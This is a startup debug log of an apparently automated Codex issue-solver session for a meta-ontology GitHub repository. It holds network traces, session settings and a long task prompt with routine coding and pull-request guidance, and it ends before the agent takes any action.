terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:14.291Z] [INFO] \n[2026-07-12T04:02:14.293Z] [INFO] 2026-07-12T04:02:14.291673Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:14.293Z] [INFO] 2026-07-12T04:02:14.291773Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cflb'\n[2026-07-12T04:02:14.293Z] [INFO] 2026-07-12T04:02:14.291802Z DEBUG cookie_store::cookie_store: inserting secure cookie '_cfuvid'\n[2026-07-12T04:02:14.293Z] [INFO] 2026-07-12T04:02:14.292237Z DEBUG codex.exec_server.http_request{otel.kind=\"client\" http.request.method=\"POST\" server.address=\"chatgpt.com\" server.port=443}: reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:14.293Z] [INFO] \n[2026-07-12T04:02:14.300Z] [INFO] 2026-07-12T04:02:14.294230Z DEBUG codex.exec_server.http_request{otel.kind=\"client\" http.request.method=\"POST\" server.address=\"chatgpt.com\" server.port=443}: hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:14.300Z] [INFO] \n[2026-07-12T04:02:14.307Z] [INFO] 2026-07-12T04:02:14.300572Z DEBUG codex.exec_server.http_request{otel.kind=\"client\" http.request.method=\"POST\" server.address=\"chatgpt.com\" server.port=443}: hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:14.307Z] [INFO] \n[2026-07-12T04:02:14.339Z] [INFO] 2026-07-12T04:02:14.304659Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}: codex_otel.log_only: event.name=\"codex.startup_phase\" startup.phase=\"thread_start_total\" startup.status=\"ready\" duration_ms=722 event.timestamp=2026-07-12T04:02:14.304Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:14.339Z] [INFO] 2026-07-12T04:02:14.304705Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}: codex_otel.trace_safe: event.name=\"codex.startup_phase\" startup.phase=\"thread_start_total\" startup.status=\"ready\" duration_ms=722 event.timestamp=2026-07-12T04:02:14.304Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:14.339Z] [INFO] \n[2026-07-12T04:02:14.345Z] [INFO] {\"type\":\"thread.started\",\"thread_id\":\"019f547d-6d2b-7162-ae64-b2b122b89c77\"}\n[2026-07-12T04:02:14.345Z] [INFO] \n[2026-07-12T04:02:14.348Z] [INFO] \ud83d\udccc Session ID: 019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:02:14.353Z] [INFO] 2026-07-12T04:02:14.309060Z  INFO codex.exec{otel.kind=\"internal\" thread.id=\"019f547d-6d2b-7162-ae64-b2b122b89c77\"}: codex_exec: Codex initialized with event: SessionConfiguredEvent { session_id: SessionId { uuid: 019f547d-6d2b-7162-ae64-b2b122b89c77 }, thread_id: ThreadId { uuid: 019f547d-6d2b-7162-ae64-b2b122b89c77 }, forked_from_id: None, parent_thread_id: None, thread_source: Some(User), thread_name: None, model: \"gpt-5.6-sol\", model_provider_id: \"openai\", service_tier: None, approval_policy: Never, approvals_reviewer: User, permission_profile: Disabled, active_permission_profile: None, cwd: AbsolutePathBuf(\"/tmp/gh-issue-solver-1783828904396\"), reasoning_effort: Some(Medium), initial_messages: None, network_proxy: None, rollout_path: Some(\"/home/box/.codex/sessions/2026/07/12/rollout-2026-07-12T04-02-13-019f547d-6d2b-7162-ae64-b2b122b89c77.jsonl\") }\n[2026-07-12T04:02:14.353Z] [INFO] 2026-07-12T04:02:14.312886Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}: codex_core::session::handlers: Submission sub=Submission { id: \"019f547d-6ea8-7232-8540-37894db8bb13\", op: UserInput { items: [Text { text: \"You are an AI issue solver using OpenAI Codex.\\nGeneral guidelines.\\n   - When you execute commands and the output becomes large, save the logs to files for easier review.\\n   - When running commands, avoid setting a timeout yourself. Let them run as long as needed. The default timeout of 2 minutes is usually enough, and once commands finish, review the logs in the file.\\n   - When running sudo commands, especially package installations like apt-get, yum, or npm install, run them in the background to avoid timeout issues and permission errors when the process needs to be killed. Use the run_in_background parameter or append & to the command.\\n\\n   - When CI is failing or user reports failures, consider adding a detailed investigation protocol to your todo list with these steps:\\n      Step 1: List recent runs with timestamps using: gh run list --repo link-foundation/meta-ontology --branch issue-5-e2602184e2c5 --limit 5 --json databaseId,conclusion,createdAt,headSha\\n      Step 2: Verify runs are after the latest commit by checking timestamps and SHA\\n      Step 3: For each non-passing run, download logs to preserve them: gh run view {run-id} --repo link-foundation/meta-ontology --log > ci-logs/{workflow}-{run-id}.log\\n      Step 4: Read each downloaded log file with the Read tool to understand the actual failures\\n      Step 5: Report findings with specific errors and line numbers from logs\\n      This detailed investigation is especially helpful when user mentions CI failures, asks to investigate logs, you see non-passing status, or when finalizing a PR.\\n      Note: If user says \\\"failing\\\" but tools show \\\"passing\\\", this might indicate stale data - consider downloading fresh logs and checking timestamps to resolve the discrepancy.\\n   - When a code or log file has more than 1500 lines, read it in chunks of 1500 lines.\\n   - When facing a complex problem, do as much tracing as possible and turn on all verbose modes.\\n   - When you create debug, test, or example scripts while fixing an issue, keep them in ./examples and/or ./experiments so you can reuse them later.\\n   - When you test assumptions, keep experiment scripts in ./experiments.\\n   - When an experiment demonstrates a real-world use case of the software, add it to ./examples.\\n   - When you face something extremely hard, use divide and conquer.\\n\\nInitial research.\\n   - When you start, create a detailed plan for yourself and follow your todo list step by step. Add as many relevant points from these guidelines to the todo list as practical so you can track the work clearly.\\n   - When the user mentions CI failures or asks to investigate logs, consider adding these todos to track the investigation: (1) list recent CI runs with timestamps, (2) download logs from failed runs to the ci-logs/ directory, (3) analyze error messages and identify the root cause, (4) implement a fix, (5) verify that the fix resolves the specific errors found in the logs.\\n   - When you read the issue, read all details and comments thoroughly.\\n   - When you see screenshots or images in issue descriptions, pull request descriptions, comments, or discussions, download the image to a local file first, then use the Read tool to view and analyze it. Before reading downloaded images with the Read tool, verify that the file is a valid image rather than HTML by using a CLI tool such as the 'file' command. When the file command shows \\\"HTML\\\", \\\"text\\\", or \\\"ASCII text\\\", the download failed, so do not call Read on that file. When images are from GitHub issues or PRs, such as URLs containing \\\"github.com/user-attachments\\\", use: curl -L -H \\\"Authorization: token $(gh auth token)\\\" -o  \\\"\\\"\\n   - When you need issue details, use gh issue view https://github.com/link-foundation/meta-ontology/issues/5.\\n   - When you need related code, use gh search code --owner link-foundation [keywords].\\n   - When you need repo context, read files in your working directory.\\n   - When you study related work, study the most recent related pull requests.\\n   - When the issue is not defined clearly enough, write a comment with clarifying questions.\\n   - When accessing GitHub Gists (especially private ones), use gh gist view command instead of direct URL fetching to ensure proper authentication.\\n   - When you are fixing a bug, find the actual root cause first and run as many experiments as needed.\\n   - When you are fixing a bug and the code does not have enough tracing or logs, add them and keep them in the code with the default state switched off.\\n   - When you need comments on a pull request, note that GitHub has three different comment types with different API endpoints:\\n      1. PR review comments (inline code comments): gh api repos/link-foundation/meta-ontology/pulls/6/comments --paginate\\n      2. PR conversation comments (general discussion): gh api repos/link-foundation/meta-ontology/issues/6/comments --paginate\\n      3. PR reviews (approve/request changes): gh api repos/link-foundation/meta-ontology/pulls/6/reviews --paginate\\n      Note: The command \\\"gh pr view --json comments\\\" only returns conversation comments and misses review comments.\\n   - When you need the latest comments on the issue, use gh api repos/link-foundation/meta-ontology/issues/5/comments --paginate.\\n\\nSolution development and testing.\\n   - When issue is solvable, first create a test that reproduces the problem, then implement the fix.\\n   - When implementing features, search for similar existing implementations in the codebase and use them as examples instead of implementing everything from scratch.\\n   - When coding, commit each atomic step that is useful on its own to the pull request branch so interrupted work remains preserved in the pull request.\\n   - When you test:\\n      start from testing of small functions using separate scripts;\\n      write unit tests with mocks for easy and quick start.\\n   - When you test integrations, use existing framework.\\n   - When you test solution draft, include automated checks in pr.\\n   - When you write or modify tests, consider setting reasonable timeouts at test, suite, and CI job levels so failures surface quickly instead of hanging.\\n   - When you see repeated test timeout patterns in CI, investigate the root cause rather than increasing timeouts.\\n   - When the issue is unclear, write a comment on the issue with questions.\\n   - When you encounter any problems that you are unable to solve yourself (any human feedback or help), write a comment to the pull request asking for help.\\n   - When you need human help, use gh pr comment 6 --body \\\"your message\\\" to comment on existing PR.\\n\\nReproducible testing.\\n   - When fixing a bug, create a test that reproduces the problem before implementing the fix. When you cannot reproduce the problem, you cannot verify the fix.\\n   - When encountering logic bugs, write an automated test that fails due to the bug, then implement the fix to make it pass.\\n   - When encountering UI bugs, capture a screenshot showing the problem state, then create a visual regression test or manual verification screenshot after the fix.\\n   - When creating tests, prefer minimum reproducible examples, meaning the simplest test case that demonstrates the issue.\\n   - When submitting a fix, include in the PR description: (1) how to reproduce the issue, (2) the automated test that verifies the fix, (3) before/after screenshots for UI issues.\\n   - When a bug fix does not have a reproducing test, treat the fix as incomplete because regressions can occur later without notice.\\n\\nPreparing pull request.\\n   - When you code, follow contributing guidelines.\\n   - When you commit, write clear message.\\n   - When you need examples of style, use gh pr list --repo link-foundation/meta-ontology --state merged --search [keywords].\\n   - When you open pr, describe solution draft and include tests.\\n   - When there is a package with version and GitHub Actions workflows for automatic release, update the version (or other necessary release trigger) in your pull request to prepare for next release.\\n   - When you update existing pr 6, use gh pr edit to modify title and description.\\n   - When you are about to commit or push code, run local CI checks first if they are available in contributing guidelines (like ruff check, mypy, eslint, etc.) to catch errors before pushing.\\n   - When you finalize the pull request:\\n      check that the pull request title and description are updated (the PR may start with a [WIP] prefix and a placeholder description that should be replaced with the actual title and description of the changes),\\n      follow style from merged prs for code, title, and description,\\n      check that no uncommitted changes corresponding to the original requirements are left behind,\\n      check that the default branch is merged into the pull request branch,\\n      check that all CI checks are passing if they exist before you finish,\\n      double-check that all changes in the pull request address the original requirements of the issue,\\n      check for newly introduced bugs in the pull request by carefully reading gh pr diff,\\n      check that no previously existing features were removed without an explicit request in the issue description, issue comments, or pull request comments.\\n   - When you finish implementation, use gh pr ready 6.\\n\\nWorkflow and collaboration.\\n   - When you check branch, verify with git branch --show-current.\\n   - When you push, push only to branch issue-5-e2602184e2c5.\\n   - When you finish, create a pull request from branch issue-5-e2602184e2c5. (Note: PR 6 already exists, update it instead)\\n   - When you organize workflow, use pull requests instead of direct merges to default branch (main or master).\\n   - When you manage commits, preserve commit history for later analysis.\\n   - When you contribute, keep repository history forward-moving with regular commits, pushes, and reverts if needed.\\n   - When you face conflict that you cannot resolve yourself, ask for help.\\n   - When you collaborate, respect branch protections by working only on issue-5-e2602184e2c5.\\n   - When you mention a result, include the pull request URL or comment URL.\\n   - When you need to create pr, remember pr 6 already exists for this branch.\\n\\nSelf review.\\n   - When you check your solution draft, run all tests locally.\\n   - When you check your solution draft, verify git status shows a clean working tree with no uncommitted changes.\\n   - When you compare with repo style, use gh pr diff [number].\\n   - When you finalize, confirm code, tests, and description are consistent.\\n\\nGitHub CLI command patterns.\\n   - When fetching lists from GitHub API, use the --paginate flag to ensure all results are returned (GitHub returns max 30 per page by default).\\n   - When listing PR review comments (inline code comments), use gh api repos/OWNER/REPO/pulls/NUMBER/comments --paginate.\\n   - When listing PR conversation comments, use gh api repos/OWNER/REPO/issues/NUMBER/comments --paginate.\\n   - When listing PR reviews, use gh api repos/OWNER/REPO/pulls/NUMBER/reviews --paginate.\\n   - When listing issue comments, use gh api repos/OWNER/REPO/issues/NUMBER/comments --paginate.\\n   - When adding PR comment, use gh pr comment NUMBER --body \\\"text\\\" --repo OWNER/REPO.\\n   - When adding issue comment, use gh issue comment NUMBER --body \\\"text\\\" --repo OWNER/REPO.\\n   - When viewing PR details, use gh pr view NUMBER --repo OWNER/REPO.\\n   - When filtering with jq, use gh api repos/${owner}/${repo}/pulls/${prNumber}/comments --paginate --jq 'reverse | .[0:5]'.\\n\\nPlaywright MCP usage (browser automation via MCP tools).\\n   - When you develop frontend web applications or debug UI issues, use Playwright MCP tools to test the UI in a real browser.\\n   - When simple fetch-based browsing is insufficient for dynamic pages, use Playwright MCP browser automation as a fallback.\\n   - When WebSearch tool fails or returns insufficient results, use Playwright MCP browser automation as a fallback for internet search.\\n   - When reproducing or verifying UI bugs, take before/after screenshots and close the browser when finished.\\n\\nVisual UI work and screenshots.\\n   - When you work on visual UI changes (frontend, CSS, HTML, design), include a render or screenshot of the final result in the pull request description.\\n   - When you need to show visual results, take a screenshot and save it to the repository (e.g., in a docs/screenshots/ or assets/ folder).\\n   - When you save screenshots to the repository, use permanent links in the pull request description markdown (e.g., https://github.com/link-foundation/meta-ontology/blob/issue-5-e2602184e2c5/docs/screenshots/result.png?raw=true).\\n   - When uploading images, commit them to the branch first, then reference them using the GitHub blob URL format with ?raw=true suffix (works for both public and private repositories).\\n   - When the visual result is important for review, mention it explicitly in the pull request description with the embedded image.\\n   - When fixing UI bugs, capture both the \\\"before\\\" (problem) and \\\"after\\\" (fixed) screenshots as evidence for human verification.\\n   - When reporting UI bugs, include a screenshot of the problem state to enable visual verification of the fix.\\n   - When the fix is visual, include side-by-side or sequential comparison of before/after states in the PR description.\\n   - When possible, create automated visual regression tests to prevent the UI bug from recurring.\\n\\nIssue to solve: https://github.com/link-foundation/meta-ontology/issues/5\\nYour prepared branch: issue-5-e2602184e2c5\\nYour prepared working directory: /tmp/gh-issue-solver-1783828904396\\nYour prepared Pull Request: https://github.com/link-foundation/meta-ontology/pull/6\\n\\nProceed.\\n\", text_elements: [] }], final_output_json_schema: None, responsesapi_client_metadata: None, additional_context: {}, thread_settings: ThreadSettingsOverrides { environments: Some(TurnEnvironmentSelections { legacy_fallback_cwd: AbsolutePathBuf(\"/tmp/gh-issue-solver-1783828904396\"), environments: [TurnEnvironmentSelection { environment_id: \"local\", cwd: PathUri(Url { scheme: \"file\", cannot_be_a_base: false, username: \"\", password: None, host: None, port: None, path: \"/tmp/gh-issue-solver-1783828904396\", query: None, fragment: None }) }] }), workspace_roots: None, profile_workspace_roots: None, approval_policy: Some(Never), approvals_reviewer: None, sandbox_policy: None, permission_profile: None, active_permission_profile: None, windows_sandbox_level: None, model: None, effort: Some(Some(Medium)), summary: None, service_tier: None, collaboration_mode: None, personality: None } }, client_user_message_id: None, trace: None }\n[2026-07-12T04:02:14.353Z] [INFO] \n[2026-07-12T04:02:14.358Z] [INFO] 2026-07-12T04:02:14.315200Z  INFO codex.exec{otel.kind=\"internal\" thread.id=\"019f547d-6d2b-7162-ae64-b2b122b89c77\"}: codex_exec: Sent prompt with event ID: 019f547d-6ea8-7232-8540-37894db8bb13\n[2026-07-12T04:02:14.358Z] [INFO] \n[2026-07-12T04:02:14.372Z] [INFO] 2026-07-12T04:02:14.331503Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:14.372Z] [INFO] 2026-07-12T04:02:14.331589Z DEBUG cookie_store::cookie_store: inserting secure cookie '_cfuvid'\n[2026-07-12T04:02:14.372Z] [INFO] 2026-07-12T04:02:14.333385Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cf_bm'\n[2026-07-12T04:02:14.372Z] [INFO] 2026-07-12T04:02:14.333543Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cflb'\n[2026-07-12T04:02:14.372Z] [INFO] 2026-07-12T04:02:14.333586Z DEBUG cookie_store::cookie_store: inserting secure cookie '_cfuvid'\n[2026-07-12T04:02:14.372Z] [INFO] \n[2026-07-12T04:02:14.384Z] [INFO] 2026-07-12T04:02:14.343637Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:14.384Z] [INFO] \n[2026-07-12T04:02:14.389Z] [INFO] 2026-07-12T04:02:14.354262Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}: codex_otel.log_only: event.name=\"codex.user_prompt\" prompt_length=13677 prompt=[REDACTED] event.timestamp=2026-07-12T04:02:14.354Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:14.389Z] [INFO] 2026-07-12T04:02:14.354473Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}: codex_otel.trace_safe: event.name=\"codex.user_prompt\" prompt_length=13677 text_input_count=1 image_input_count=0 local_image_input_count=0 event.timestamp=2026-07-12T04:02:14.354Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:14.389Z] [INFO] \n[2026-07-12T04:02:14.402Z] [INFO] 2026-07-12T04:02:14.356726Z DEBUG opentelemetry_sdk:  name=\"Metrics.InstrumentCreated\" instrument_name=\"codex.rollout_compression.materialize\" cardinality_limit=2000\n[2026-07-12T04:02:14.402Z] [INFO] \n[2026-07-12T04:02:14.408Z] [INFO] 2026-07-12T04:02:14.367146Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:14.408Z] [INFO] 2026-07-12T04:02:14.367208Z DEBUG cookie_store::cookie_store: inserting secure cookie '_cfuvid'\n[2026-07-12T04:02:14.408Z] [INFO] 2026-07-12T04:02:14.367568Z  INFO codex_core_skills::service: skills cache cleared (1 entries)\n[2026-07-12T04:02:14.408Z] [INFO] 2026-07-12T04:02:14.369590Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cf_bm'\n[2026-07-12T04:02:14.408Z] [INFO] 2026-07-12T04:02:14.369658Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cflb'\n[2026-07-12T04:02:14.408Z] [INFO] 2026-07-12T04:02:14.369671Z DEBUG cookie_store::cookie_store: inserting secure cookie '_cfuvid'\n[2026-07-12T04:02:14.408Z] [INFO] \n[2026-07-12T04:02:14.451Z] [INFO] 2026-07-12T04:02:14.381139Z DEBUG codex_config::loader::layer_io: /etc/codex/managed_config.toml not found\n[2026-07-12T04:02:14.451Z] [INFO] \n[2026-07-12T04:02:14.454Z] [INFO] 2026-07-12T04:02:14.400667Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:14.454Z] [INFO] \n[2026-07-12T04:02:14.478Z] [INFO] 2026-07-12T04:02:14.476740Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:14.478Z] [INFO] \n[2026-07-12T04:02:14.573Z] [INFO] 2026-07-12T04:02:14.573228Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:14.573Z] [INFO] \n[2026-07-12T04:02:14.714Z] [INFO] 2026-07-12T04:02:14.713551Z DEBUG codex.exec_server.http_request{otel.kind=\"client\" http.request.method=\"POST\" server.address=\"chatgpt.com\" server.port=443}: cookie_store::cookie_store: inserting secure cookie '__cflb'\n[2026-07-12T04:02:14.714Z] [INFO] 2026-07-12T04:02:14.713645Z DEBUG codex.exec_server.http_request{otel.kind=\"client\" http.request.method=\"POST\" server.address=\"chatgpt.com\" server.port=443}: cookie_store::cookie_store: inserting secure cookie '_cfuvid'\n[2026-07-12T04:02:14.714Z] [INFO] \n[2026-07-12T04:02:14.718Z] [INFO] 2026-07-12T04:02:14.714695Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:14.718Z] [INFO] 2026-07-12T04:02:14.715792Z DEBUG cookie_store::cookie_store: inserting secure cookie '_cfuvid'\n[2026-07-12T04:02:14.718Z] [INFO] 2026-07-12T04:02:14.716222Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:14.718Z] [INFO] \n[2026-07-12T04:02:14.731Z] [INFO] 2026-07-12T04:02:14.719049Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:14.731Z] [INFO] \n[2026-07-12T04:02:14.750Z] [INFO] 2026-07-12T04:02:14.749549Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:14.750Z] [INFO] \n[2026-07-12T04:02:14.773Z] [INFO] 2026-07-12T04:02:14.763864Z DEBUG codex.exec_server.http_request{otel.kind=\"client\" http.request.method=\"POST\" server.address=\"chatgpt.com\" server.port=443}: reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:14.773Z] [INFO] 2026-07-12T04:02:14.763884Z  INFO codex_core_plugins::remote::remote_installed_plugin_sync: completed remote installed plugin bundle sync installed_plugin_ids=[] removed_cache_plugin_ids=[] failed_remote_plugin_ids=[]\n[2026-07-12T04:02:14.773Z] [INFO] \n[2026-07-12T04:02:14.788Z] [INFO] 2026-07-12T04:02:14.788122Z DEBUG codex.exec_server.http_request{otel.kind=\"client\" http.request.method=\"POST\" server.address=\"chatgpt.com\" server.port=443}: hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:14.788Z] [INFO] \n[2026-07-12T04:02:14.797Z] [INFO] 2026-07-12T04:02:14.796333Z DEBUG codex.exec_server.http_request{otel.kind=\"client\" http.request.method=\"POST\" server.address=\"chatgpt.com\" server.port=443}: hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:14.797Z] [INFO] \n[2026-07-12T04:02:14.843Z] [INFO] 2026-07-12T04:02:14.836352Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:14.843Z] [INFO] \n[2026-07-12T04:02:14.857Z] [INFO] {\"type\":\"turn.started\"}\n[2026-07-12T04:02:14.857Z] [INFO] \n[2026-07-12T04:02:14.873Z] [INFO] 2026-07-12T04:02:14.872752Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:14.873Z] [INFO] \n[2026-07-12T04:02:14.874Z] [INFO] 2026-07-12T04:02:14.874545Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:14.874Z] [INFO] \n[2026-07-12T04:02:14.889Z] [INFO] 2026-07-12T04:02:14.885942Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:14.889Z] [INFO] \n[2026-07-12T04:02:14.912Z] [INFO] 2026-07-12T04:02:14.907632Z DEBUG codex.exec_server.http_request{otel.kind=\"client\" http.request.method=\"POST\" server.address=\"chatgpt.com\" server.port=443}: hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:14.912Z] [INFO] 2026-07-12T04:02:14.907702Z DEBUG codex.exec_server.http_request{otel.kind=\"client\" http.request.method=\"POST\" server.address=\"chatgpt.com\" server.port=443}: cookie_store::cookie_store: inserting secure cookie '_cfuvid'\n[2026-07-12T04:02:14.912Z] [INFO] 2026-07-12T04:02:14.908885Z  INFO app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" rpc.method=\"thread/start\" rpc.transport=\"in-process\" rpc.request_id=1 app_server.connection_id=0 app_server.api_version=\"v2\" app_server.client_name=\"codex_exec\" app_server.client_version=\"0.144.1\"}:app_server.thread_start.create_thread{otel.name=\"app_server.thread_start.create_thread\" thread_start.dynamic_tool_count=0}:thread_spawn{otel.name=\"thread_spawn\"}:session_init:session_init.mcp_manager_init{otel.name=\"session_init.mcp_manager_init\"}:serve_inner: rmcp::service: Service initialized as client peer_info=Some(InitializeResult { protocol_version: ProtocolVersion(\"2025-06-18\"), capabilities: ServerCapabilities { experimental: None, extensions: None, logging: None, completions: None, prompts: None, resources: Some(ResourcesCapability { subscribe: Some(false), list_changed: Some(false) }), tools: Some(ToolsCapability { list_changed: Some(false) }), tasks: None }, server_info: Implementation { name: \"plugin-runtime\", title: None, version: \"0.1.0\", description: None, icons: None, website_url: None }, instructions: None })\n[2026-07-12T04:02:14.912Z] [INFO] 2026-07-12T04:02:14.909088Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:14.912Z] [INFO] 2026-07-12T04:02:14.909145Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:02:14 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"7c375aa7-797a-42f5-8d23-93911414fa5f\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=D%2FM6rs%2FHExJ6XS6xD4zc8X48ygqbEDWxDF7sVKz%2FAQuWPlBV%2BOWAD80e0UWyG9kp2F29pipX%2FtxQUzJ6Go1HwWafftFsBSFqdrlhdqjNmfC%2FEe2zTOkJ59ISabRd\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d26babe38d3ae-FRA\"} version=HTTP/1.1\n[2026-07-12T04:02:14.912Z] [INFO] \n[2026-07-12T04:02:14.918Z] [INFO] 2026-07-12T04:02:14.913036Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:14.918Z] [INFO] \n[2026-07-12T04:02:14.932Z] [INFO] 2026-07-12T04:02:14.932415Z DEBUG codex.exec_server.http_request{otel.kind=\"client\" http.request.method=\"POST\" server.address=\"chatgpt.com\" server.port=443}: reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:14.932Z] [INFO] \n[2026-07-12T04:02:14.937Z] [INFO] 2026-07-12T04:02:14.937569Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}: codex_core::session::handlers: Submission sub=Submission { id: \"019f547d-7119-7152-bc76-76b11a126611\", op: RefreshMcpServers { config: McpServerRefreshConfig { mcp_servers: Object {\"playwright\": Object {\"command\": String(\"npx\"), \"args\": Array [String(\"-y\"), String(\"@playwright/mcp@latest\"), String(\"--isolated\"), String(\"--headless\"), String(\"--no-sandbox\"), String(\"--timeout-action=600000\"), String(\"--viewport-size\"), String(\"1920x1080\")], \"environment_id\": String(\"local\"), \"enabled\": Bool(true), \"tool_timeout_sec\": Null}, \"codex_apps\": Object {\"url\": String(\"https://chatgpt.com/backend-api/ps/mcp\"), \"auth\": String(\"chatgpt\"), \"environment_id\": String(\"local\"), \"enabled\": Bool(true), \"startup_timeout_sec\": Number(30.0), \"tool_timeout_sec\": Null}}, mcp_oauth_credentials_store_mode: String(\"auto\"), auth_keyring_backend_kind: String(\"direct\") } }, client_user_message_id: None, trace: None }\n[2026-07-12T04:02:14.937Z] [INFO] \n[2026-07-12T04:02:14.946Z] [INFO] 2026-07-12T04:02:14.946000Z DEBUG codex.exec_server.http_request{otel.kind=\"client\" http.request.method=\"POST\" server.address=\"chatgpt.com\" server.port=443}: hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:14.946Z] [INFO] \n[2026-07-12T04:02:14.956Z] [INFO] 2026-07-12T04:02:14.950670Z DEBUG codex.exec_server.http_request{otel.kind=\"client\" http.request.method=\"POST\" server.address=\"chatgpt.com\" server.port=443}: hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:14.956Z] [INFO] \n[2026-07-12T04:02:15.174Z] [INFO] 2026-07-12T04:02:15.173966Z DEBUG app_server.request{otel.kind=\"server\" otel.name=\"thread/start\" rpc.system=\"jsonrpc\" 